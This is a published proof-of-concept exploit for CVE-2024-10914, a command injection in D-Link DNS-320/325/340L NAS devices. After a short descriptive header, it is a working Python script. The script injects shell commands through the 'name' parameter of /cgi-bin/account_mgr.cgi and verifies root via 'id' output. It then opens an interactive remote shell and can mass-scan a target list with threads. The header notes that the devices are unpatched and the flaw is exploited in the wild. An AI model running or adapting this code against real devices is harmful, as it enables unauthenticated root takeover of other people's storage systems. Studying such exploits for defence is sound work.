D-Link DNS_340L - OS Command Injection

# Exploit Title: D-Link DNS_340L - OS Command Injection
# Date: 2026-07-16
# Exploit Author: Jared Brits (K3ysTr0K3R)
# Vendor Homepage: https://www.dlink.com/
# Version: DNS-320 (v1.00), DNS-320LW (v1.01.0914.2012), DNS-325 (v1.01, v1.02), DNS-340L (v1.08), and possibly others
# Tested on: D-Link DNS-320
# CVE: CVE-2024-10914
# CVSS Score: 9.8 (Critical)
# Description: The /cgi-bin/account_mgr.cgi script on several D‑Link NAS devices is vulnerable to
# unauthenticated command injection. The cgi_user_add command accepts a 'name' parameter
# that is directly concatenated into a system() call without any sanitisation.
# By injecting a semicolon‑terminated command, an attacker can execute arbitrary
# operating system commands with root privileges.
#
# Confirmed affected models include DNS‑320, DNS‑320LW, DNS‑325, and DNS‑340L.
# D‑Link has officially declared these products End of Life and will not release
# a fix for this issue. There is evidence that this vulnerability is
# already being exploited in the wild. The CVSSv3 base score is 9.8 (Critical).

import re
import requests
from rich import print
import argparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession
from prompt_toolkit.formatted_text import HTML
from prompt_toolkit.history import InMemoryHistory
from concurrent.futures import ThreadPoolExecutor, as_completed

def ascii_art():
    print("[bold bright_magenta]   _______    ________    ___   ____ ___  __ __       _______  ____ _____ __[/bold bright_magenta]")
    print("[bold bright_magenta]  / ____/ |  / / ____/   |__ \ / __ \__ \/ // /      <  / __ \/ __ <  / // /[/bold bright_magenta]")
    print("[bold bright_magenta] / /    | | / / __/________/ // / / /_/ / // /_______/ / / / / /_/ / / // /_[/bold bright_magenta]")
    print("[bold bright_magenta]/ /___  | |/ / /__/_____/ __// /_/ / __/__  __/_____/ / /_/ /\__, / /__  __/[/bold bright_magenta]")
    print("[bold bright_magenta]\____/  |___/_____/    /____/\____/____/ /_/       /_/\____//____/_/  /_/[/bold bright_magenta]")
    print("")
    print("Coded By: Jared Brits (K3ysTr0K3R)")
    print("")

requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)

payload = ["id"]
endpoint = "/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&name=';{};'"
headers = {'User-Agent': 'Mozilla/5.0 (Linux; Android 10; SM-G960U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Mobile Safari/537.36'}

def check_vulnerability(target):
    for command in payload:
        url = f"{target}{endpoint.format(command)}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            response.raise_for_status()
            matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
            if matcher:
                print(f"[green][+] [/green]The target appears to be vulnerable")
                print(f"[green][+] [/green]Response: {matcher[0]}")
                return True
        except requests.RequestException:
            pass

def exploit(target):
    session = PromptSession(
        HTML("<ansicyan>Interactive Shell:</ansicyan> "),
        history=InMemoryHistory(),
    )

    print("[blue][*] [/blue]Interactive session shell started. Type 'exit' to quit")
    print("")

    while True:
        try:
            command = session.prompt(HTML("<ansicyan>~$</ansicyan> ")).strip()
            if command.lower() in ["exit", "quit"]:
                print("[blue][*] [/blue]Exiting interactive session")
                break

            url = f"{target}{endpoint.format(command)}"
            response = requests.get(url, headers=headers, timeout=10, verify=False)

            if response.status_code == 200:
                output = re.sub(r"Content-type:.*\n?", "", response.text).strip()
                print(output)
            else:
                print(f"[yellow][!] [/yellow]Command failed with status code: {response.status_code}")

        except KeyboardInterrupt:
            print("\n[blue][*] [/blue]Exiting interactive session")
            break
        except requests.RequestException:
            print(f"[yellow][!] [/yellow]An error occurred")

def vuln_spray(target):
    for command in payload:
        url = f"{target}{endpoint.format(command)}"
        try:
            response = requests.get(url, headers=headers, timeout=10, verify=False)
            response.raise_for_status()
            matcher = re.search(r"uid=\d+\((\w+)\).*gid=\d+\((\w+)\)", response.text)
            if matcher:
                return True
        except requests.RequestException:
            pass

def scan_file(file_path, threads):
    with open(file_path, 'r') as file:
        targets = [line.strip() for line in file if line.strip()]

    with alive_bar(len(targets), title="Scanning Targets", enrich_print=False) as bar:
        with ThreadPoolExecutor(max_workers=threads) as executor:
            futures = {executor.submit(vuln_spray, target): target for target in targets}
            for future in as_completed(futures):
                bar()
                target = futures[future]
                try:
                    if future.result():
                        print(f"[green][+] [/green]Target [bright_red]{target}[/bright_red] is vulnerable")
                except Exception:
                    pass

if __name__ == "__main__":
    ascii_art()
    parser = argparse.ArgumentParser(description="A PoC exploit for CVE-2024-10914 - D-Link Remote Code Execution (RCE)")
    parser.add_argument("-u", "--url", help="Single target URL to test")
    parser.add_argument("-f", "--file", help="File containing list of target URLs to scan")
    parser.add_argument("-t", "--threads", type=int, default=5, help="Number of threads to use for scanning (default: 5)")

    args = parser.parse_args()

    if args.url:
        print("[blue][*] [/blue]Checking if the target is vulnerable")
        if check_vulnerability(args.url):
            print("[blue][*] [/blue]Starting interactive session shell")
            exploit(args.url)
        else:
            print("[red][-] [/red]Target is not vulnerable")
    elif args.file:
        print(f"[blue][*] [/blue]Scanning targets from file: [bright_red]{args.file}[bright_red]")
        print(f"[blue][*] [/blue]Using {args.threads} threads for scanning")
        scan_file(args.file, args.threads)
    else:
        print("[red][-] [/red]Please provide either a URL with -u or a file with -f")